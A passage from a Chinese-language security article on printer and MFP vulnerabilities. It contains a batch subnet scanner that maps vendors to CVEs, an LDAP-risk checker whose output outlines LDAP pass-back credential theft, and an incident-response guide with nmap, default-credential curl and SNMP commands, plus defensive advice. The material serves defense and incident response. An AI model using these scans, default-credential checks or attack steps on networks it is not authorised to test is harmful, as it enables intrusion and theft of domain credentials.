    if result["ldap_server"]:
        print(f"  LDAP 服务器: {result['ldap_server']}")
    if result["ldap_bind_dn"]:
        print(f"  LDAP Bind DN: {result['ldap_bind_dn']}")

    print(f"\n[*] 风险评估: {result['risk_level'].upper()}")

    if result["risk_level"] == "high":
        print(f"\n[!] 高风险: 设备已配置 LDAP 集成")
        print(f"[!] 如果管理员密码未修改,攻击者可:")
        print(f"    1. 使用 CVE-2024-51978 技术获取管理员权限")
        print(f"    2. 将 LDAP 服务器重定向到攻击者控制的服务器")
        print(f"    3. 触发认证测试以捕获明文 AD 凭据")


if __name__ == "__main__":
    main()

打印机批量暴露面扫描脚本

#!/usr/bin/env python3
"""
打印与成像设备批量暴露面扫描脚本

扫描指定网段内的打印机和 MFP 设备,
识别厂商、型号、固件版本和已知漏洞风险。

用法: python3 printer_scanner.py <cidr> [output_file]
示例: python3 printer_scanner.py 192.168.1.0/24
      python3 printer_scanner.py 10.0.0.0/16 results.json
"""

import sys
import json
import socket
import concurrent.futures
import urllib.request
import urllib.error
import ssl
import re
import ipaddress


PRINTER_PORTS = [80, 443, 631, 9100]

VENDOR_SIGNATURES = {
    "Brother": {
        "patterns": ["Brother", "MFC-", "DCP-", "HL-", "LC-"],
        "default_cve": "CVE-2024-51978",
    },
    "HP": {
        "patterns": ["HP", "LaserJet", "PageWide", "OfficeJet", "DeskJet"],
        "default_cve": "CVE-2024-0794",
    },
    "Xerox": {
        "patterns": ["Xerox", "Phaser", "WorkCentre", "AltaLink", "VersaLink"],
        "default_cve": "CVE-2019-13168",
    },
    "Konica Minolta": {
        "patterns": ["KONICA MINOLTA", "bizhub"],
        "default_cve": "CVE-2025-6081",
    },
}


def scan_host(ip: str) -> dict:
    result = {
        "ip": ip,
        "open_ports": [],
        "vendor": None,
        "model": None,
        "firmware": None,
        "risks": [],
    }

    for port in PRINTER_PORTS:
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(2)
            if sock.connect_ex((ip, port)) == 0:
                result["open_ports"].append(port)
            sock.close()
        except Exception:
            pass

    if not result["open_ports"]:
        return None

    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    for port in [80, 443]:
        if port not in result["open_ports"]:
            continue
        scheme = "https" if port == 443 else "http"
        try:
            req = urllib.request.Request(f"{scheme}://{ip}:{port}/")
            resp = urllib.request.urlopen(req, timeout=5, context=ctx)
            body = resp.read().decode("utf-8", errors="ignore")

            for vendor, info in VENDOR_SIGNATURES.items():
                for pattern in info["patterns"]:
                    if pattern in body:
                        result["vendor"] = vendor
                        result["risks"].append(info["default_cve"])
                        break

            model_match = re.search(
                r"(?i)(?:model|product)[^<\"']{0,30}[:>]\s*([^\s<\"']+(?:\s+[^\s<\"']+)?)",
                body,
            )
            if model_match:
                result["model"] = model_match.group(1).strip()

            fw_match = re.search(
                r"(?i)firmware[^<\"']{0,30}[:>]\s*([A-Z0-9]+[\.\-][A-Z0-9\.]+)",
                body,
            )
            if fw_match:
                result["firmware"] = fw_match.group(1)

            break
        except Exception:
            continue

    return result if result["vendor"] else result


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <cidr> [output_file]")
        print(f"示例: {sys.argv[0]} 192.168.1.0/24")
        sys.exit(1)

    cidr = sys.argv[1]
    output_file = sys.argv[2] if len(sys.argv) >= 3 else None

    try:
        network = ipaddress.ip_network(cidr, strict=False)
    except ValueError:
        print(f"[-] 无效的 CIDR: {cidr}")
        sys.exit(1)

    hosts = [str(ip) for ip in network.hosts()]
    print(f"[*] 扫描网段: {cidr} ({len(hosts)} 个主机)")

    results = []
    with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
        futures = {executor.submit(scan_host, host): host for host in hosts}
        for future in concurrent.futures.as_completed(futures):
            try:
                result = future.result()
                if result and result.get("vendor"):
                    results.append(result)
                    print(
                        f"[+] {result['ip']:>15} | {result['vendor']:<16} | "
                        f"{result.get('model', 'N/A'):<20} | "
                        f"风险: {', '.join(result.get('risks', [])) or 'N/A'}"
                    )
            except Exception:
                pass

    print(f"\n[*] 扫描完成: 发现 {len(results)} 台打印设备")

    if output_file:
        with open(output_file, "w") as f:
            json.dump(results, f, indent=2, ensure_ascii=False)
        print(f"[*] 结果已保存: {output_file}")


if __name__ == "__main__":
    main()

0x0A 应急响应调查指南

1. 打印机失陷排查流程

阶段一:快速识别(0-2 小时)

# 1. 确认打印机资产清单
nmap -sV -p 80,443,631,9100,161 <subnet> -oG printer_scan.txt

# 2. 检查打印机管理界面是否暴露
curl -s http://<printer_ip>/ | grep -iE "Brother|HP|Xerox|KONICA"

# 3. 检查默认凭据是否有效
curl -s -u admin:admin http://<printer_ip>/ -o /dev/null -w "%{http_code}"

# 4. 检查固件版本
curl -s http://<printer_ip>/hp/device/info | grep -i firmware
curl -s http://<printer_ip>/wcd/js/error.xml | grep -i version

阶段二:深度排查(2-24 小时)

# 5. 检查打印机网络流量
tcpdump -i any host <printer_ip> -w printer_traffic.pcap

# 6. 检查异常外联连接
tcpdump -i any host <printer_ip> and not net <local_subnet> -w exfil_check.pcap

# 7. 检查 IPP 打印队列异常
ipptool -tv ipp://<printer_ip>:631/ipp/print get-printer-attributes.test

# 8. 检查 SNMP 信息泄露
snmpwalk -v2c -c public <printer_ip> 1.3.6.1.2.1
snmpwalk -v2c -c public <printer_ip> 1.3.6.1.4.1

阶段三:取证分析(24-72 小时)

# 9. 导出打印机系统日志
curl -s http://<printer_ip>/wcd/js/auditlog.xml -o audit_log.xml
curl -s http://<printer_ip>/hp/device/logs -o hp_logs.html

# 10. 检查管理员账户变更
curl -s -u admin:<password> http://<printer_ip>/api/accounts | python3 -m json.tool

# 11. 检查存储文档
curl -s http://<printer_ip>/api/document/list -o stored_docs.json

# 12. 检查网络配置变更
curl -s http://<printer_ip>/api/network/config -o network_config.json

2. 各厂商排查要点

Brother MFP 排查

排查项方法优先级
默认密码是否被利用检查管理界面登录日志中的异常来源 IPP0
序列号是否泄露访问 /wcd/js/error.xml 检查序列号是否明文暴露P0
WSD 服务是否启用检查网络配置中 WSD 协议状态P1
管理员密码是否修改尝试使用默认密码登录管理界面P0
LDAP/FTP 凭据安全检查 CVE-2024-51984 外部服务凭据是否泄露P1

HP LaserJet 排查

排查项方法优先级
固件版本检查对比 CVE-2024-0794 影响版本列表P0
LLMNR 协议状态检查网络设置中 LLMNR 是否启用P0
异常打印作业审计打印队列中的异常来源和大型文档P1
异常外联检查打印机是否向外发起网络连接P1
配置变更审计 EWS 管理界面的配置修改记录P2

Xerox 排查

排查项方法优先级
IPP 服务异常检查 IPP 服务日志中的异常请求P0
HTTP 头部异常检查 Web 服务日志中的超长 Content-TypeP0
FreeFlow 路径穿越检查 FreeFlow Core 访问日志中的 ../ 模式P1
XXE 攻击痕迹检查 FreeFlow XML 处理日志中的外部实体引用P1
命令注入痕迹检查 remoteUI/configrui.php 访问日志P0

Konica Minolta 排查

排查项方法优先级
LDAP 配置变更检查 LDAP 服务器地址是否被修改P0
认证测试记录检查是否有异常的"检查连接"操作P0
AD 凭据泄露检查域控安全日志中的异常认证来源P0
SNMP/eSCL 暴露检查 SNMP 和 eSCL 协议是否可外部访问P1
序列号泄露检查 eSCL 和 SNMP 是否暴露设备序列号P1

3. IOC 指标收集

网络层 IOC

IOC 类型描述检测方法
异常外联 IP打印机向外发起的非预期连接防火墙日志 / 流量分析
异常端口打印机上开放的非标准端口Nmap 扫描对比基线
LDAP 外联打印机向非预期 LDAP 服务器发起连接域控日志 / 网络监控
异常 IPP 请求包含超长属性或恶意字体的打印作业IDS/IPS 日志
SNMP 扫描流量对打印机的大规模 SNMP 枚举网络流量分析

主机层 IOC

IOC 类型描述检测方法
固件异常固件版本与已知安全版本不匹配EWS 管理界面检查
配置异常LLMNR/WSD/SNMP 等协议被异常启用网络配置审计
账户异常新增管理员账户或密码被修改管理界面账户审计
证书异常管理界面 SSL 证书被替换证书指纹比对
存储异常打印机硬盘上出现异常文档存储文档审计

4. 紧急缓解操作

# 立即修改所有打印机默认管理员密码
for ip in $(cat printer_list.txt); do
  echo "[*] 修改 $ip 管理员密码..."
  curl -sk -u admin:old_password \
    -X POST "http://$ip/api/security/password" \
    -H "Content-Type: application/json" \
    -d '{"password":"<strong_random_password>"}'
done

# 禁用高危协议
for ip in $(cat printer_lists.txt); do
  echo "[*] 禁用 $ip 上的 LLMNR/WSD..."
  curl -sk -u admin:<password> \
    -X PUT "http://$ip/api/network/protocols" \
    -H "Content-Type: application/json" \
    -d '{"LLMNR":"disabled","WSD":"disabled"}'
done

# 网络隔离 — 将打印机迁移到隔离 VLAN
# 在交换机上配置 ACL,限制打印机仅允许必要通信
# iptables -A FORWARD -i <printer_vlan> -j DROP
# iptables -A FORWARD -i <printer_vlan> -p tcp --dport 443 -d <ad_server> -j ACCEPT

5. 通用排查清单

排查项说明优先级
默认凭据状态验证所有打印机管理员密码是否为默认/弱密码P0
固件版本对比已知漏洞影响版本,确认是否需要更新P0
管理访问日志审计漏洞公开前 90 天的管理界面登录记录P0
LDAP/AD 凭据安全检查 LDAP 集成配置是否被篡改,域凭据是否泄露P0
网络外联记录检查打印机是否有异常外联连接P1
打印作业审计检查是否有异常来源提交的恶意打印作业P1
存储文档安全审计打印机硬盘上的敏感文档P1
协议暴露面检查 LLMNR/WSD/SNMP/eSCL 等协议启用状态P1
管理员账户审计检查是否有异常新增的管理员账户P2
网络分段状态验证打印机是否在独立 VLAN/网段P2
SIEM 集成状态确认打印机日志是否已接入安全监控P2
凭据轮换轮换所有与打印机相关的凭据和密钥P2

0x0B 防守建议

1. 紧急措施

  1. 立即修改默认密码:所有打印机和 MFP 设备的管理员密码必须修改为强密码
  2. 更新固件:应用厂商提供的最新固件更新
  3. 网络分段:将打印机放在独立的网络段或 VLAN
  4. 禁用未使用服务:禁用 LLMNR、WSD、SNMP 等未使用的协议

2. 长期策略

  1. 最小权限原则:限制打印机的网络访问权限,只允许必要的协议和端口
  2. 定期审计:定期审查打印机配置和访问日志
  3. 集成监控:将打印机日志集成到 SIEM 系统
  4. 事件响应:制定针对打印机安全事件的响应计划

3. 事后排查

  1. 检查历史日志:回溯到漏洞公开前 90 天,检查是否有异常访问
  2. 审查管理员账户:检查是否有异常的管理员账户或配置变更
  3. 扫描存储文档:检查打印机硬盘上的敏感文档
  4. 轮换凭据:轮换所有与打印机相关的凭据和密钥

0x0C 总结

打印与成像设备的高危漏洞爆发,揭示了几个关键教训:

  1. 打印机是最容易被忽视的攻击面:企业通常忽视打印机安全,但它们拥有网络访问权限和敏感数据
  2. 预认证 RCE 是常态:攻击者不需要凭据即可触发漏洞
  3. 默认凭据是最大风险:厂商使用可预测的默认密码,企业不修改默认密码
  4. 固件更新严重滞后:企业很少主动更新打印机固件
  5. 跨厂商共性问题:多个厂商的设备存在相同类型的安全问题

企业应该将打印与成像设备视为关键安全资产,而不是普通的办公设备。需要从网络架构、访问控制、固件管理、监控审计、事件响应等多个维度进行全方位防护。

0x0D 参考资料